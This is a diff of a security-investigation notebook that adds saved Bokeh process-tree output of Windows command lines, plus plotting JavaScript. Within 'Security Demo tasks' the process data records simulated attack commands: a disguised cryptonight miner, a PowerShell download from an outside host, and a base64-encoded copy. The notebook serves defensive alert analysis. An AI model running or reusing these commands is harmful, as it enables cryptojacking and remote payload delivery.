\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\work\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\CMF-64/DesiredStateConfiguration\\\\DscRun.exe\\\" GetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\work\\\\Registry.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\work\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\CMF/DesiredStateConfiguration\\\\DscRun.exe\\\" GetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\work\\\\localhost.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\work\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\Resources\\\\884\\\\pmfexe.exe\\\" -PerfMode optimize -quickscan -event -json -alldetectors\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\Resources\\\\884\\\\pmfexe.exe\\\" -PerfMode optimize -quickscan -event -json -alldetectors\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\CMF/DesiredStateConfiguration\\\\DscRun.exe\\\" GetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\work\\\\localhost.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\work\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"NaN\",\"C:\\\\Windows\\\\system32\\\\MusNotification.exe Display\",\"C:\\\\Windows\\\\system32\\\\appidcertstorecheck.exe\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"cmd.exe /c c:\\\\Diagnostics\\\\WinSimulateAlerts.cmd c:\\\\W!ndows\\\\System32 2\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"cmd /c echo Begin Security Demo tasks\",\"cmd /c echo Any questions about the commands executed here then please contact one of\",\"cmd /c echo timb@microsoft.com; ianhelle@microsoft.com; shainw@microsoft.com\",\".\\\\suchost.exe -a cryptonight -o bcn -u bond007.01 -p x -t 4\",\".\\\\powershell -Noninteractive -Noprofile -Command \\\"Invoke-Expression Get-Process; Invoke-WebRequest -Uri http://wh401k.org/getps\\\"\",\".\\\\powershell -enc LU5vbmludGVyYWN0aXZlIC1Ob3Byb2ZpbGUgLUNvbW1hbmQgIkludm9rZS1FeHByZXNzaW9uIEdldC1Qcm9jZXNzOyBJbnZva2UtV2ViUmVxdWVzdCAtVXJpIGh0dHA6Ly93aDQwMWsub3JnL2dldHBzIg==\",\"cmd /c echo End Security Demo tasks\",\"C:\\\\Windows\\\\system32\\\\MusNotification.exe Display\",\"C:\\\\Windows\\\\system32\\\\usoclient.exe StartScan\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"C:\\\\Windows\\\\system32\\\\MusNotification.exe Display\",\"\\\"C:\\\\Program Files (x86)\\\\Google\\\\Update\\\\GoogleUpdate.exe\\\" /ua /installsource scheduler\",\"C:\\\\Windows\\\\system32\\\\MusNotification.exe Display\",\"NaN\",\"C:\\\\Windows\\\\system32\\\\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}\",\"C:\\\\Windows\\\\winsxs\\\\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.2602_none_7ee6020e2207416d\\\\TiWorker.exe -Embedding\",\"C:\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe -secured -Embedding\",\"C:\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe -secured -Embedding\",\"C:\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe -secured -Embedding\",\"C:\\\\Windows\\\\winsxs\\\\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.2602_none_7ee6020e2207416d\\\\TiWorker.exe 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Grid\"},{\"attributes\":{\"text\":{\"field\":\"cmd\"},\"text_baseline\":\"middle\",\"text_color\":{\"value\":\"black\"},\"text_font_size\":{\"value\":\"7pt\"},\"x\":{\"field\":\"Level\",\"transform\":{\"id\":\"1663\"}},\"y\":{\"field\":\"Row\",\"transform\":{\"id\":\"1664\"}}},\"id\":\"1666\",\"type\":\"Text\"},{\"attributes\":{},\"id\":\"1738\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{\"text\":\"ProcessTree\"},\"id\":\"1628\",\"type\":\"Title\"},{\"attributes\":{\"source\":{\"id\":\"1626\"}},\"id\":\"1662\",\"type\":\"CDSView\"},{\"attributes\":{\"callback\":null},\"id\":\"1649\",\"type\":\"TapTool\"},{\"attributes\":{},\"id\":\"1698\",\"type\":\"BasicTicker\"},{\"attributes\":{\"callback\":null,\"formatters\":{\"TimeGenerated\":\"datetime\"},\"renderers\":[{\"id\":\"1661\"}],\"tooltips\":[[\"Process\",\"@NewProcessName\"],[\"PID\",\"@PID\"],[\"CmdLine\",\"@CommandLine\"],[\"SubjUser\",\"@SubjectUserName\"],[\"SubjLgnId\",\"@SubjectLogonId\"],[\"TargLgnId\",\"@TargetLogonId\"],[\"Time\",\"@TimeGenerated{%F %T}\"]]},\"id\":\"1655\",\"type\":\"HoverTool\"},{\"attributes\":{\"source\":{\"id\":\"1626\"}},\"id\":\"1724\",\"type\":\"CDSView\"},{\"attributes\":{},\"id\":\"1740\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{\"formatter\":{\"id\":\"1740\"},\"ticker\":{\"id\":\"1698\"},\"visible\":false},\"id\":\"1697\",\"type\":\"LinearAxis\"},{\"attributes\":{},\"id\":\"1741\",\"type\":\"Selection\"},{\"attributes\":{\"fill_alpha\":0.2,\"fill_color\":\"navy\",\"level\":\"overlay\",\"line_alpha\":1.0,\"line_color\":\"black\",\"line_dash\":[2,2],\"line_width\":0.5},\"id\":\"1726\",\"type\":\"BoxAnnotation\"},{\"attributes\":{},\"id\":\"1695\",\"type\":\"LinearScale\"},{\"attributes\":{},\"id\":\"1742\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"end\":7,\"start\":1},\"id\":\"1630\",\"type\":\"Range1d\"},{\"attributes\":{\"range\":{\"id\":\"1630\"},\"value\":1.75},\"id\":\"1657\",\"type\":\"Dodge\"},{\"attributes\":{\"axis_line_color\":null,\"formatter\":{\"id\":\"1735\"},\"major_label_standoff\":0,\"major_tick_line_color\":\"navy\",\"ticker\":{\"id\":\"1643\"},\"visible\":false},\"id\":\"1642\",\"type\":\"LinearAxis\"},{\"attributes\":{},\"id\":\"1693\",\"type\":\"LinearScale\"},{\"attributes\":{\"data_source\":{\"id\":\"1626\"},\"glyph\":{\"id\":\"1666\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"1667\"},\"selection_glyph\":null,\"view\":{\"id\":\"1669\"}},\"id\":\"1668\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"end\":196,\"start\":-1},\"id\":\"1691\",\"type\":\"Range1d\"}],\"root_ids\":[\"1730\"]},\"title\":\"Bokeh Application\",\"version\":\"2.1.1\"}};\n", + " var render_items = [{\"docid\":\"11897ead-912d-407c-8dc3-ee212b79dc00\",\"root_ids\":[\"1730\"],\"roots\":{\"1730\":\"4bda054c-31bc-4c4f-b276-f8b4aacba3d2\"}}];\n", + " root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n", + "\n", + " }\n", + " if (root.Bokeh !== undefined) {\n", + " embed_document(root);\n", + " } else {\n", + " var attempts = 0;\n", + " var timer = setInterval(function(root) {\n", + " if (root.Bokeh !== undefined) {\n", + " clearInterval(timer);\n", + " embed_document(root);\n", + " } else {\n", + " attempts++;\n", + " if (attempts > 100) {\n", + " clearInterval(timer);\n", + " console.log(\"Bokeh: ERROR: Unable to run BokehJS code because BokehJS library is missing\");\n", + " }\n", + " }\n", + " }, 10, root)\n", + " }\n", + "})(window);" + ], + "application/vnd.bokehjs_exec.v0+json": "" + }, + "metadata": { + "application/vnd.bokehjs_exec.v0+json": { + "id": "1730" + } + }, + "output_type": "display_data" + } + ], "source": [ "if security_alert.data_family.name != \"WindowsSecurity\":\n", " raise ValueError('The remainder of this notebook currently only supports Windows. '\n", @@ -579,6 +3072,27 @@ " process_tree = None" ] }, + { + "cell_type": "code", + "execution_count": 15, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "UTC\n", + "None\n" + ] + } + ], + "source": [ + "pd.Timestamp(0, tz=0)\n", + "ts_sample = process_tree.iloc[0][\"TimeGenerated\"]\n", + "print(ts_sample.tz)\n", + "print(pd.Timestamp(0).tz)" + ] + }, { "cell_type": "markdown", "metadata": {}, @@ -590,7 +3104,7 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 16, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:19:16.391952Z", @@ -598,7 +3112,380 @@ }, "scrolled": true }, - "outputs": [], + "outputs": [ + { + "data": { + "text/html": [ + "\n", + "
\n", + " \n", + " Loading BokehJS ...\n", + "
" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "\n", + "(function(root) {\n", + " function now() {\n", + " return new Date();\n", + " }\n", + "\n", + " var force = true;\n", + "\n", + " if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n", + " root._bokeh_onload_callbacks = [];\n", + " root._bokeh_is_loading = undefined;\n", + " }\n", + "\n", + " var JS_MIME_TYPE = 'application/javascript';\n", + " var HTML_MIME_TYPE = 'text/html';\n", + " var EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n", + " var CLASS_NAME = 'output_bokeh rendered_html';\n", + "\n", + " /**\n", + " * Render data to the DOM node\n", + " */\n", + " function render(props, node) {\n", + " var script = document.createElement(\"script\");\n", + " node.appendChild(script);\n", + " }\n", + "\n", + " /**\n", + " * Handle when an output is cleared or removed\n", + " */\n", + " function handleClearOutput(event, handle) {\n", + " var cell = handle.cell;\n", + "\n", + " var id = cell.output_area._bokeh_element_id;\n", + " var server_id = cell.output_area._bokeh_server_id;\n", + " // Clean up Bokeh references\n", + " if (id != null && id in Bokeh.index) {\n", + " Bokeh.index[id].model.document.clear();\n", + " delete Bokeh.index[id];\n", + " }\n", + "\n", + " if (server_id !== undefined) {\n", + " // Clean up Bokeh references\n", + " var cmd = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n", + " cell.notebook.kernel.execute(cmd, {\n", + " iopub: {\n", + " output: function(msg) {\n", + " var id = msg.content.text.trim();\n", + " if (id in Bokeh.index) {\n", + " Bokeh.index[id].model.document.clear();\n", + " delete Bokeh.index[id];\n", + " }\n", + " }\n", + " }\n", + " });\n", + " // Destroy server and session\n", + " var cmd = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n", + " cell.notebook.kernel.execute(cmd);\n", + " }\n", + " }\n", + "\n", + " /**\n", + " * Handle when a new output is added\n", + " */\n", + " function handleAddOutput(event, handle) {\n", + " var output_area = handle.output_area;\n", + " var output = handle.output;\n", + "\n", + " // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n", + " if ((output.output_type != \"display_data\") || (!output.data.hasOwnProperty(EXEC_MIME_TYPE))) {\n", + " return\n", + " }\n", + "\n", + " var toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n", + "\n", + " if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n", + " toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n", + " // store reference to embed id on output_area\n", + " output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n", + " }\n", + " if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n", + " var bk_div = document.createElement(\"div\");\n", + " bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n", + " var script_attrs = bk_div.children[0].attributes;\n", + " for (var i = 0; i < script_attrs.length; i++) {\n", + " toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n", + " toinsert[toinsert.length - 1].firstChild.textContent = bk_div.children[0].textContent\n", + " }\n", + " // store reference to server id on output_area\n", + " output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n", + " }\n", + " }\n", + "\n", + " function register_renderer(events, OutputArea) {\n", + "\n", + " function append_mime(data, metadata, element) {\n", + " // create a DOM node to render to\n", + " var toinsert = this.create_output_subarea(\n", + " metadata,\n", + " CLASS_NAME,\n", + " EXEC_MIME_TYPE\n", + " );\n", + " this.keyboard_manager.register_events(toinsert);\n", + " // Render to node\n", + " var props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n", + " render(props, toinsert[toinsert.length - 1]);\n", + " element.append(toinsert);\n", + " return toinsert\n", + " }\n", + "\n", + " /* Handle when an output is cleared or removed */\n", + " events.on('clear_output.CodeCell', handleClearOutput);\n", + " events.on('delete.Cell', handleClearOutput);\n", + "\n", + " /* Handle when a new output is added */\n", + " events.on('output_added.OutputArea', handleAddOutput);\n", + "\n", + " /**\n", + " * Register the mime type and append_mime function with output_area\n", + " */\n", + " OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n", + " /* Is output safe? */\n", + " safe: true,\n", + " /* Index of renderer in `output_area.display_order` */\n", + " index: 0\n", + " });\n", + " }\n", + "\n", + 